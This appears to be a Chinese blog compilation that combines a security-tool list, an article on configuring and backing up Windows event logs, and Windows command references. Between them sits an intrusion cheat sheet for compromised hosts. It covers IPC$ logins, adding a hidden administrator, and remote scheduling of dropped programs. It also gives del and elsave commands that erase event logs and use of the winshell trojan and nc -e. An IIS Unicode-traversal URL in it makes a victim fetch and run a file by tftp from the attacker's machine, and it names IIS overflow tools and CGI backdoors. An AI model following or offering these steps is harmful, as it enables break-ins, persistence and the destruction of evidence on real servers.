    简介:Nemesis项目是为了开发一个UNIX/Linux系统上基于命令行的、方便人们使用的IP栈,它可以自定义数据包、插入数据包、进行协议攻击等,是一个很好的测试防火墙、入侵检测系统、路由器和其他网络设备的工具。如果你对Nemesis感兴趣,那么你也可能需要看看hping2,这两者补相互之不足。

    工具:LSOF(列出打开的文件)
    网址:ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:LSOF是针对Unix的诊断和分析工具,它能显示出由系统里正在运行的进程所打开的文件,也能显示出每一个进程的通讯socket。

    工具:Hunt(Linux平台上高级的包嗅探和会话劫持工具)
    网址:http://lin.fsid.cvut.cz/~kra/index.html#HUNT
    类别:开放源码
    平台:Linux
    简介:Hunt能监视、劫持、重设网络上的TCP连接,在以太网上使用才有作用,并且含有监视交换连接的主动机制,以及包括可选的ARP转播和劫持成功后的连接同步等高级特征。

    工具:Honeyd(你个人的honeynet,http://www.honeynet.org/
    网址:http://www.citi.umich.edu/u/provos/honeyd/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Honeyd是一个能在网络上创建虚拟主机的小小后台程序,虚拟主机能被配置成运行任意的服务,并且洽当的服务TCP特性以致他们看起来就像是运行在某个特定版本的操作系统上。Honeyd能在一个模拟的局域网环境里让一台主机配有多个地址,并且可以对虚似主机进行ping、traceroute。虚拟主机上任何类型的服务都可以依照一个简单的配置文件进行模拟。Honeyd也可以对一台主机做代理服务,而不是模拟它。

    工具:Achilles(可以修改http会话包的代理程序)
    网址:http://packetstormsecurity.nl/filedesc/achilles-0-27.zip.html
    类别:开放源码
    平台:Windows
    简介:Achilles是一个设计用来测试web应用程序安全性的工具。它是一个代理服务器,在一个HTTP会话中扮演着"中间人"(man-in-the-middle)的角色。一个典型的HTTP代理服务器将在客户浏览器和web服务器间转发数据包,但Achilles却载取发向任一方的HTTP会话数据,并且在转发数据前可以让用户修改这些数据。

    工具:Brutus(网络认证的强行破解工具)
    网址:http://www.hoobie.net/brutus/
    类别:免费
    平台:Windows
    简介:Brutus是一款对远程服务器的网络服务进行口令猜解的工具,支持字典攻击和组合攻击,支持的网络应用包括HTTP、POP3、FTP、SMB、TELNET、IMAP、NTP等。源代码不公开。UNIX系统上的THC-Hydra有类似的功能。

    工具:Stunnel(一个多种用途的SSL加密外壳)
    网址:http://www.stunnel.org/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Stunnel程序被设计用来做为本地客户端和远程服务器间的SSL加密外壳。它能在POP2、POP3、IMAP等使用inetd后台进程的服务器上增加SSL功能,并且不会影响到程序源代码。它使用OpenSSL或SSLeay库建立SSL会话连接。

    工具:Paketto Keiretsu(极端的TCP/IP)
    网址:http://www.doxpara.com/paketto
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:Paketto Keiretsu是一组使用新式的不常见的策略去操作TCP/IP网络的工具集合,开发的最初本意是为了在现有TCP/IP架构里去实现一些功能,但现在已经远远超出了最初的本意。包含的工具有:Scanrand,一个罕见的快速的网络服务和拓朴发现系统;Minewt,一个NAT/MAT路由器;linkcat,把以太网链路做为标准的输入输出;Paratrace,不产生新的连接就能追踪网络路径;Phentropy,使用OpenQVIS在三维拓朴空间里能绘制出任意总量的数据源图形。
     

    工具:Fragroute(破坏入侵检测系统最强大的工具)
    网址:http://www.monkey.org/~dugsong/fragroute/
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Fragroute能够截取、修改和重写向外发送的报文,实现了大部分的IDS攻击功能。Fragroute起重要作用的是一个简单的规则设置语言,以它去实现延迟、复制、丢弃、碎片、重叠、打印、重排、分割、源路由或其他一些向目标主机发送数据包的攻击。这个工具开发的本意是去测试入侵检测系统、防火墙、基本的TCP/IP栈的行为。像Dsniff、Libdnet一样,这个优秀的工具也是由Dug Song开发的。

    工具:SPIKE Proxy
    网址:http://www.immunitysec.com/spikeproxy.html
    类别:开放源码
    平台:Linux/BSD/Unix/Windows
    简介:Spike Proxy是一个开放源代码的HTTP代理程序,用于发现web站点的安全缺陷。它是Spike应用程序测试套件(http://www.immunitysec.com/spike.html)的一部份,支持SQL插入检测、web站点检测、登录表单暴力破解、溢出检测和字典穷举攻击检测等。

    工具:THC-Hydra(网络认证的破解工具)
    网址:http://www.thc.org/releases.php
    类别:开放源码
    平台:Linux/BSD/Unix
    简介:这个工具能对需要网络登录的系统进行快速的字典攻击,包括FTP、POP3、IMAP、Netbios、Telnet、HTTP Auth、LDAP NNTP、VNC、ICQ、Socks5、PCNFS等,支持SSL,并且现在是Nessus风险评估工具的一部份。


    其他的25个最佳安全工具:

    OpenBSD,http://www.openbsd.org/:安全可靠的操作系统。

    TCP Wrappers,ftp://ftp.porcupine.org/pub/security/index.html:一流的IP访问控制和日志的实现机制。

    pwdump3,http://www.polivec.com/pwdump3.html:获取本地或远程Windows主机的口令哈希,而不管是否安装了syskey。

    LibNet,http://www.packetfactory.net/libnet/: 允许程序员去构造和插入网络数据包的高水平开发函数库.

    IpTraf,http://cebu.mozcom.com/riker/iptraf/: IP网络监控软件。

    Fping,http://www.fping.com/:一次可以ping多个IP地址的扫描程序。

    Bastille,http://www.bastille-linux.org/:增强系统安全性的脚本程序,支持Linux, Mac OS X和HP-UX操作系统。

    Winfingerprint,http://winfingerprint.sourceforge.net/: 一款基于Win32的高级远程系统扫描器。

    TCPTraceroute,http://michael.toren.net/code/tcptraceroute/:使用TCP SYN包实现traceroute的工具。

    Shadow Security Scanner,http://www.safety-lab.com/en2/products/1.htm:一款商业化的风险评估工具。

    pf,http://www.benzedrine.cx/pf.html:OpenBSD系统内很有特色的包过滤防火墙。

    LIDS,http://www.lids.org/:Linux内核上的入侵检测和入侵防御系统。

    hfnetchk,http://www.microsoft.com/technet/treeview/default.asp?
    url=/technet/security/tools/tools/hfnetchk.asp:微软发布的用于检查网络上Windows主机补丁安装情况的工具。

    etherape,http://etherape.sourceforge.net/:继流量监测软件etherman之后又一个支持unix的图形化网络状况监测软件。

    dig,http://www.isc.org/products/BIND/:Bind附带的DNS查询工具。

    Crack/Cracklib,http://www.users.dircon.co.uk/~crypto/:一流的本地口令破解器。

    cheops/cheops-ng,http://www.marko.net/cheops/http://cheops-ng.sourceforge.net/:绘制本地或远程网络的网络图,并且也能识别主机的操作系统类型。

    zone alarm,http://www.zonelabs.com/:Windows平台上的个人防火墙软件。

    Visual Route,http://www.visualware.com/visualroute/index.html:获取traceroute/whois数据,并且绘制出数据包经过的网络路线在世界地图上的位置。

    The Coroner's Toolkit (TCT),http://www.fish.com/tct/:运行于Unix系统上的文件系统检查及紧急修复工具集。

    tcpreplay,http://tcpreplay.sourceforge.net/:能把tcpdump或snoop保存下来的流量监测文件在任意点进行回放的工具。

    snoop,http://www.spitzner.net/snoop.html:Solaris系统附带的网络嗅探工具。

    putty,http://www.chiark.greenend.org.uk/~sgtatham/putty/:Windows平台上优秀的SSH客户端。

    pstools,http://www.sysinternals.com/ntw2k/freeware/pstools.shtml:一套用于管理Windows系统的免费命令行工具。

    arpwatch,http://www-nrg.ee.lbl.gov/:主要用来检测mac地址和ip地址对应关系的工具。

    http://anheng.com.cn/news/5/524.html

    Windows日志的保护与伪造

    Windows日志的保护与伪造

       
        日志对于系统安全的作用是显而易见的,无论是网络管理员还是黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客往往会在入侵成功后迅速清除掉对自己不利的日志。下面我们就来讨论一下日志的安全和创建问题。

      一:概述:

      Windows 2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config,默认文件大小512KB。

      安全日志文件:%systemroot%\system32\config\SecEvent.EVT
      系统日志文件:%systemroot%\system32\config\SysEvent.EVT
      应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT

      这些LOG文件在注册表中的:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。


    二:作为网络管理员:

      1.日志的安全配置:

      默认的条件下,日志的大小为512KB大小,如果超出则会报错,并且不会再记录任何日志。所以首要任务是更改默认大小,具体方法:注册表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog对应的每个日志如系统,安全,应用程序等均有一个maxsize子键,修改即可。

      下面给出一个来自微软站点的一个脚本,利用VMI来设定日志最大25MB,并允许日志自行覆盖14天前的日志:

      该脚本利用的是WMI对象, WMI(Windows Management Instrumentation)技术是微软提供的Windows下的系统管理工具。通过该工具可以在本地或者管理客户端系统中几乎一切的信息。很多专业的网络管理工具都是基于WMI开发的。该工具在Win2000以及WinNT下是标准工具,在Win9X下是扩展安装选项。所以以下的代码在2000以上均可运行成功。

    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate,(Security)}!\\" & _
    strComputer & "\root\cimv2") ''获得VMI对象
    Set colLogFiles = objWMIService.ExecQuery _
    ("Select * from Win32_NTEventLogFile")
    For each objLogfile in colLogFiles
    strLogFileName = objLogfile.Name
    Set wmiSWbemObject = GetObject _
    ("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
    & "Win32_NTEventlogFile.Name=''" & strLogFileName & "''")
    wmiSWbemObject.MaxFileSize = 2500000000
    wmiSWbemObject.OverwriteOutdated = 14
    wmiSWbemObject.Put_
    Next

      将上述脚本用记事本存盘为vbs为后缀的即可使用。

      另外需要说明的是代码中的strComputer="."在Windows脚本中的含义相当于localhost,如果要在远程主机上执行代码,只需要把"."改动为主机名,当然首先得拥有对方主机的管理员权限并建立IPC连接.本文中的代码所出现的strComputer均可作如此改动。

    2. 日志的查询与备份:

      一个优秀的管理员是应该养成备份日志的习惯,如果有条件的话还应该把日志转存到备份机器上或直接转储到打印机上,在这里推荐微软的resourceKit工具箱中的dumpel.exe,他的常用方法:

      dumpel -f filename -s \\server -l log

      -f filename 输出日志的位置和文件名

      -s \\server 输出远程计算机日志

      -l log log 可选的为system,security,application,可能还有别的如DNS等.

      如要把目标服务器server上的系统日志转存为backupsystem.log可以用以下格式:

      dumpel \\server -l system -f backupsystem.log

      再利用计划任务可以实现定期备份系统日志。

      另外利用脚本编程的VMI对象也可以轻而易举的实现日志备份:

    下面给出备份application日志的代码:

    backuplog.vbs
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate,(Backup)}!\\" & _
    strComputer & "\root\cimv2") ''获得 VMI对象
    Set colLogFiles = objWMIService.ExecQuery _
    ("Select * from Win32_NTEventLogFile where LogFileName=''Application''") ''获取日志对象中的应用程序日志
    For Each objLogfile in colLogFiles
    errBackupLog = objLogFile.BackupEventLog("f:\application.evt") ''将日志备份为f:\application.evt
    If errBackupLog  0 Then
    Wscript.Echo "The Application event log could not be backed up."
    else Wscript.Echo "success backup log"
    End If
    Next

      程序说明:如果备份成功将窗口提示:"success backup log" 否则提示:"The Application event log could not be backed up",此处备份的日志为application 备份位置为f:\application.evt,可以自行修改,此处备份的格式为evt的原始格式,用记事本打开则为乱码,这一点他不如dumpel用得方便。

    我记不住的命令

    常用的几条NET命令:

    ==================================================

    (与远程主机建立空管连接) net use \\IP地址\ipc$ "" /use:""

    (以管理员身份登录远程主机) net use \\IP地址\ipc$ "密码" /use:"Administrator"

    (传送文件到远程主机WINNT目录下)copy 本机目录路径\程序 \\IP地址\admin$

    (查看远程主机时间) net time \\IP地址

    (定时启动某个程序) at \\IP地址 02:18 readme.exe

    (查看共享) net view \\IP地址

    (查看netbios工作组列表) nbtstat -A IP地址

    (将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ ""/user:"Administrator"

    (这两条把自己增加到管理员组): net user 用户名 密码 /add

    net localgroup Administrators 用户名 /add

    (断开连接) net use \\IP地址\ipc$ /delete

    =====================================================

    擦屁屁:

    del C:\winnt\system32\logfiles\*.*

    del C:\winnt\system32\config\*.evt

    del C:\winnt\system32\dtclog\*.*

    del C:\winnt\system32\*.log

    del C:\winnt\system32\*.txt

    del C:\winnt\*.txt

    del C:\winnt\*.log

    ============================

    一、netsvc.exe

    下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:

    netsvc /list \\IP地址

    netsvc schedule \\IP地址 /query

    netsvc \\IP地址 schedule /start

    二、OpenTelnet.exe

    远程启动主机的Telnet服务,并绑定端口到7878,例如:

    OpenTelnet \\IP地址 用户名 密码 1 7878

    然后就可以telnet到主机的7878端口,进入DOS方式下:

    telnet IP地址 7878

    三、winshell.exe

    一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:

    p Path (查看winshell主程序的路径信息)

    b reBoot (重新启动机器)

    d shutDown (关闭机器)

    s Shell (执行后你就会看到可爱的“C:\>”)

    x eXit (退出本次登录会话,此命令并不终止winshell的运行)

    CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)

    四、3389登陆器,GUI方式登录远程主机的

    五、elsave.exe

    事件日志清除工具

    elsave -s \\IP地址 -l "application" -C

    elsave -s \\IP地址 -l "system" -C

    elsave -s \\IP地址 -l "security" -C

    执行后成功清除应用程序日志,系统日志,安全日志

    六、hbulot.exe

    开启win2kserver和winxp的3389服务

    hbulot [/r]

    使用/r表示安装完成后自动重起目标使设置生效。

    七、nc.exe(netcat.exe)

    一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。

    想要连接到某处: nc [-options] hostname port[s] [ports] ...

    绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

    参数:

    -e prog 程序重定向,一旦连接,就执行 [危险!!]

    -g gateway source-routing hop point[s], up to 8

    -G num source-routing pointer: 4, 8, 12, ...

    -h 帮助信息

    -i secs 延时的间隔

    -l 监听模式,用于入站连接

    -n 指定数字的IP地址,不能用hostname

    -o file 记录16进制的传输

    -p port 本地端口号

    -r 任意指定本地及远程端口

    -s addr 本地源地址

    -u UDP模式

    -v 详细输出——用两个-v可得到更详细的内容

    -w secs timeout的时间

    -z 将输入输出关掉——用于扫描时

    八、TFTPD32.EXE

    把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:

    http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名

    然后可以直接令文件运行:

    http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

    九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。

    一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。

    一、一 Xscan命令行运行参数说明:

    在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按""强行关闭程序。

    1.命令格式: xscan -host [-]  [其他选项]

    xscan -file   [其他选项]

    其中 含义如下:

    -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表);

    -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);

    -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);

    -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案);

    -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案);

    [其他选项] 含义如下:

    -v: 显示详细扫描进度

    -p: 跳过Ping不通的主机

    -o: 跳过没有检测到开放端口的主机

    -t : 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    August 26

    更改远程桌面的默认端口

    服务器端:
    步骤:打开“开始→运行”,输入“regedit”,打开注册表,进入以下路径:[HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Terminal Server\ Wds\rdpwd\Tds\tcp],看见PortNamber值了吗?其默认值是3389,修改成所希望的端口即可,例如 XXXX。

    再打开[HKEY_LOCAL_MACHINE\ SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\RDP\Tcp],将PortNumber的值(默认是3389)修改成端口 XXXX 。

    修改完毕,重新启动电脑,以后远程登录的时候使用端口 XXXX 就可以了。
     
    客户登陆端:
    打开 mstsc.exe 窗口 . 按 "选项>>" 按钮扩展窗口,将有 "常规","显示","本地资源","运行","高级" 5个选项卡.根据需要填写各项,完成后按 "常规" 选项卡中的 "另存为" 按钮. mstsc.exe 将连接配置保存为 .rdp 文件. 用文本编辑软件将其打开,手工添加一行server port:80 即可。
    或者:mstsc /v:<server[:port]>

    基本全了,命令

    Windows 2k/2003 Server
    1.最基本,最常用的,测试物理网络的
    ping 192.168.10.88 -t ,参数-t是等待用户去中断测试

    2.查看DNS、IP、Mac等
    A.Win98:winipcfg
    B.Win2000以上:Ipconfig/all

    C.NSLOOKUP:如查看河北的DNS
    C:\>nslookup
    Default Server: ns.hesjptt.net.cn
    Address: 202.99.160.68
    >server 202.99.41.2 则将DNS改为了41.2
    > pop.pcpop.com
    Server: ns.hesjptt.net.cn
    Address: 202.99.160.68

    Non-authoritative answer:
    Name: pop.pcpop.com
    Address: 202.99.160.212

    3.网络信使
    Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段
    net stop messenger 停止信使服务,也可以在面板-服务修改
    net start messenger 开始信使服务

    4.探测对方对方计算机名,所在的组、域及当前用户名
    ping -a IP -t ,只显示NetBios名
    nbtstat -a 192.168.10.146 比较全的

    5.netstat -a 显示出你的计算机当前所开放的所有端口
    netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等

    6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址
    arp -a

    7.在代理服务器端
    捆绑IP和MAC地址,解决局域网内盗用IP:
    ARP -s 192.168.10.59 00-50-ff-6c-08-75
    解除网卡的IP与MAC地址的绑定:
    arp -d 网卡IP

    8.在网络邻居上隐藏你的计算机
    net config server /hidden:yes
    net config server /hidden:no 则为开启

    9.几个net命令
    A.显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
    比如:查看这个IP上的共享资源,就可以
    C:\>net view 192.168.10.8
    在 192.168.10.8 的共享资源
    资源共享名 类型 用途 注释
    --------------------------------------
    网站服务 Disk
    命令成功完成。

    B.查看计算机上的用户帐号列表 net user
    C.查看网络链接 net use
    例如:net use z: \\192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘

    D.记录链接 net session
    例如:
    C:\>net session
    计算机 用户名 客户类型 打开空闲时间
    -------------------------------------------------------------------------------
    \\192.168.10.110 ROME Windows 2000 2195 0 00:03:12

    \\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
    命令成功完成。

    10.路由跟踪命令
    A.tracert pop.pcpop.com
    B.pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%

    11.关于共享安全的几个命令
    A.查看你机器的共享资源 net share
    B.手工删除共享
    net share c$ /d
    net share d$ /d
    net share ipc$ /d
    net share admin$ /d
    注意$后有空格。
    C.增加一个共享:
    c:\net share mymovie=e:\downloads\movie /users:1
    mymovie 共享成功。
    同时限制链接用户数为1人。

    12.在DOS行下设置静态IP
    A.设置静态IP
    CMD
    netsh
    netsh>int
    interface>ip
    interface ip>set add "本地链接" static IP地址 mask gateway
    B.查看IP设置
    interface ip>show address

    Arp
    显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则 arp 命令将显示帮助信息。

    语法
    arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]

    参数
    -a [InetAddr] [-N IfaceAddr]
    显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项,请使用带有 InetAddr 参数的 arp -a,此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表,请使用 -N IfaceAddr 参数,此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。
    -g [InetAddr] [-N IfaceAddr]
    与 -a 相同。
    -d InetAddr [IfaceAddr]
    删除指定的 IP 地址项,此处的 InetAddr 代表 IP 地址。对于指定的接口,要删除表中的某项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项,请使用星号 通配符代替 InetAddr。
    -s InetAddr EtherAddr [IfaceAddr]
    向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。
    /?
    在命令提示符显示帮助。
    注释
    InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。
    物理地址 EtherAddr 由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。
    通过 -s 参数添加的项属于静态项,它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动,这些项会被删除。要创建永久的静态 ARP 缓存项,请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。
    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要显示所有接口的 ARP 缓存表,可键入:

    arp -a

    对于指派的 IP 地址为 10.0.0.99 的接口,要显示其 ARP 缓存表,可键入:

    arp -a -N 10.0.0.99

    要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入:

    arp -s 10.0.0.80 00-AA-00-4F-2A-9C

    At
    计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已计划的命令。

    语法
    at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]

    at [\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command]

    参数
    \\computername
    指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。
    ID
    指定指派给已计划命令的识别码。
    /delete
    取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。
    /yes
    删除已计划的事件时,对来自系统的所有询问都回答“是”。
    hours:minutes
    指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。
    /interactive
    对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。
    /every:
    在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。
    date
    指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个?械哪橙栈蚨嗳眨矗氪?1 到31 之间的数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。
    /next:
    在下一个指定日期(比如,下一个星期四)到来时运行 command。
    command
    指定要运行的 Windows 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。
    /?
    在命令提示符显示帮助。
    注释
    Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。

    使用 at
    使用 at 命令时,要求您必须是本地 Administrators 组的成员。

    加载 Cmd.exe
    在运行命令之前,At 不会自动加载 Cmd.exe (命令解释器)。如果没有运行可执行文件 (.exe),则在命令开头必须使用如下所示的方法专门加载 Cmd.exe:

    cmd /c dir > c:\test.out。

    查看已计划的命令
    当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:

    Status ID Day Time Command Line
    OK 1 Each F 4:30 PM net send group leads status due
    OK 2 Each M 12:00 AM chkstor > check.file
    OK 3 Each F 11:59 PM backup2.bat
    包含标识号 (ID)
    当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:

    Task ID: 1

    Status:OK

    Schedule:Each F

    Time of Day:4:30 PM

    Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。

    查看结果
    使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件,请使用重定向符号 (>。如果将输出重定向到文件,则不论是在命令行还是在批处理文件中使用 at,都需要在重定向符号之前使用转义符 。例如,要重定向输出到 Output.text 文件,则要键入:

    at 14:45 c:\test.bat ^>c:\output.txt

    执行命令的当前目录为 systemroot 文件夹。

    更改系统时间
    在使用 at 命令计划了要运行的命令之后,如果更改了计算机的系统时间,则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。

    存储命令
    已计划的命令存储在注册表中。这样,如果重新启动“计划”服务,则不会丢失计划任务。

    连接到网络驱动器
    对于需要访问网络的计划作业,请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器,或者,在该计划任务运行时如果有其他用户登录,则这些重定向的驱动器可能不会出现。因此,对于计划作业,请使用 UNC 路径。例如:

    at 1:00pm my_backup \\server\share

    请不要使用下述语法(其中 x: ?表示由用户建立的连接):

    at 1:00pm my_backup x:

    如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。

    范例
    要显示 Marketing 服务器上已计划的命令列表,请键入:

    at \\marketing
    要了解服务器 Corp 上标识号为 3 的命令的详细信息,请键入:

    at \\corp 3
    要计划在上午 8:00 于 Corp 服务器上运行网络共享命令,并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件(位于 Reports 共享目录下)中,请键入:

    at \\corp 08:00 cmd /c "net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt"
    为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器,首先创建名为 Archive.cmd 的批处理程序(它含有备份命令),然后计划该批处理程序的运行,为此请键入:

    at \\marketing 00:00 /every:5,10,15,20,25,30 archive
    要取消当前服务器上已计划的所有命令,请按下述方法清除 at 计划信息:

    at /delete
    如果要运行的命令不是可执行 (.exe) 文件,请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe:

    cmd /c dir > c:\test.out。
    Rsh
    在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为 Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。

    语法
    rsh [Host] [-l UserName] [-n] [Command]

    参数
    Host
    指定运行 command 的远程计算机。
    -l UserName
    指定远程计算机上使用的用户名。在省略情况下,使用当前登录用户的名称。
    -n
    将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。
    Command
    指定要运行的命令。
    /?
    在命令提示符显示帮助。
    注释
    标准*作
    rsh 命令将标准输入复制到远程 command,将远程 command 的标准输出复制到其标准输出,将远程 command 的标准错误复制到其标准错误。Rsh 通常在远程命令终止时终止。

    使用重定向符号
    为了使重定向在远程计算机上发生,要以引号引住重定向符号(例如 ">>")。如果不使用引号,重定向会在本地计算机发生。例如,以下命令将远程文件“RemoteFile”附加到本地文件“LocalFile”中:

    rsh othercomputer cat remotefile >> localfile

    以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中:

    rsh othercomputer cat remotefile ">>" otherremotefile

    使用 rsh
    在使用已登录到某个域并且运行 Windows XP Professional 的计算机时,该域的主域控制器必须可用于确认用户名或 rsh 命令失败。

    .rhosts 文件
    .rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts 文件的远程计算机上运行 rcp、rexec 或 rsh 命令时,您不必提供远程计算机的登录和密码信息。

    .rhosts 文件是一个文本文件,该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开,注释用符号 (#) 打头。例如:

    host7 #This computer is in room 31A

    .rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息,请参阅远程系统的文档。

    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令,请键入:

    rsh vax1 -l admin1 telcon

    Tftp
    向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件。

    语法
    tftp [-i] [Host] [{get | put}] [Source] [Destination]

    参数
    -i
    指定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i,文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用该模式。如果文件传送成功,将显示数据传输率。
